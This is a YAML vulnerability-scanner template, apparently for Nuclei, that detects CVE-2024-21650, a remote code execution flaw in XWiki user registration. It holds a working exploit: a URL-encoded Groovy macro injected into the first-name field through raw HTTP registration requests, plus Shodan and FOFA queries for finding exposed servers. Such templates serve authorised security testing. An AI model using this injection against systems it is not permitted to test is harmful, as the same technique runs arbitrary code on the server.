85 lines
3.5 KiB
YAML
85 lines
3.5 KiB
YAML
id: CVE-2024-21650
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info:
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name: XWiki < 4.10.20 - Remote code execution
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author: ritikchaddha
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severity: critical
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description: |
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XWiki is vulnerable to a remote code execution (RCE) attack through its user registration feature. This issue allows an attacker to execute arbitrary code by crafting malicious payloads in the "first name" or "last name" fields during user registration. This impacts all installations that have user registration enabled for guests.
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impact: |
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Successful exploitation could lead to remote code execution.
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remediation: |
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This vulnerability has been patched in XWiki 14.10.17, 15.5.3 and 15.8 RC1.
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reference:
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- https://jira.xwiki.org/browse/XWIKI-21173
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- https://nvd.nist.gov/vuln/detail/CVE-2024-21650
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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cvss-score: 10.0
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cve-id: CVE-2024-21650
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cwe-id: CWE-95
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epss-score: 0.0015
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epss-percentile: 0.50461
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cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
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metadata:
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max-request: 4
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verified: true
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vendor: xwiki
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product: xwiki
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shodan-query: html:"data-xwiki-reference"
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fofa-query: body="data-xwiki-reference"
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tags: cve,cve2024,xwiki,rce
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variables:
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user: "{{rand_base(6)}}"
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pass: "{{rand_base(8)}}"
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email: "{{randstr}}%40{{rand_base(5)}}.com"
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firstname: "%5D%5D%7B%7B%2Fhtml%7D%7D%7B%7Basync%7D%7D%7B%7Bgroovy%7D%7Dservices.logging.getLogger%28%22attacker%22%29.error%28%22Attack+succeeded%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D"
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lastname: "{{rand_base(5)}}"
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http:
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- raw:
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- |
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GET {{path}}/bin/register/XWiki/XWikiRegister?xredirect=%2Fbin%2Fregister%2FXWiki%2FXWikiRegister%3Fxredirect%3D%252Fbin%252Fregister%252FXWiki%252FXWikiRegister%253Fxredirect%253D%25252Fxwiki%25252Fbin%25252Fview%25252FScheduler%25252F%25253Fdo%25253Dtrigger%252526which%25253DScheduler.NotificationEmailDailySender HTTP/1.1
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Host: {{Hostname}}
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- |
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POST {{path}}/bin/register/XWiki/XWikiRegister?xredirect=%2Fbin%2Fregister%2FXWiki%2FXWikiRegister%3Fxredirect%3D%252Fxwiki%252Fbin%252Fview%252FScheduler%252F%253Fdo%253Dtrigger%2526which%253DScheduler.NotificationEmailDailySender HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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parent=xwiki%3AMain.UserDirectory®ister_first_name={{firstname}}®ister_last_name={{lastname}}&xwikiname={{user}}®ister_password={{pass}}®ister2_password={{pass}}®ister_email="{{randstr}}%40{{rand_base(5)}}.com&xredirect=%2Fbin%2Fregister%2FXWiki%2FXWikiRegister%3Fxredirect%3D%252Fxwiki%252Fbin%252Fview%252FScheduler%252F%253Fdo%253Dtrigger%2526which%253DScheduler.NotificationEmailDailySender&form_token={{token}}
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payloads:
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path:
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-
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- /xwiki
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stop-at-first-match: true
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host-redirects: true
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max-redirects: 2
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skip-variables-check: true
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matchers-condition: and
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matchers:
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- type: word
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part: body_2
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words:
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- "Registration successful"
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- "Attack succeeded"
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- "Failed to execute the [groovy]"
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condition: and
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- type: status
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status:
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- 200
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extractors:
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- type: regex
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part: body
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name: token
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group: 1
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regex:
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- data\-xwiki\-form\-token="([a-zA-Z0-9]+)">
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internal: true
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# digest: 4b0a0048304602210087b0acecc99f2247c44e6daa25deca7a92cfe251dca84e6bb0e4c5fc404eda57022100a3ee075f6e5d98e88922b832c04fcdc0f10b235ba6febc468faf1ae2f50ed5d7:922c64590222798bb761d5b6d8e72950 |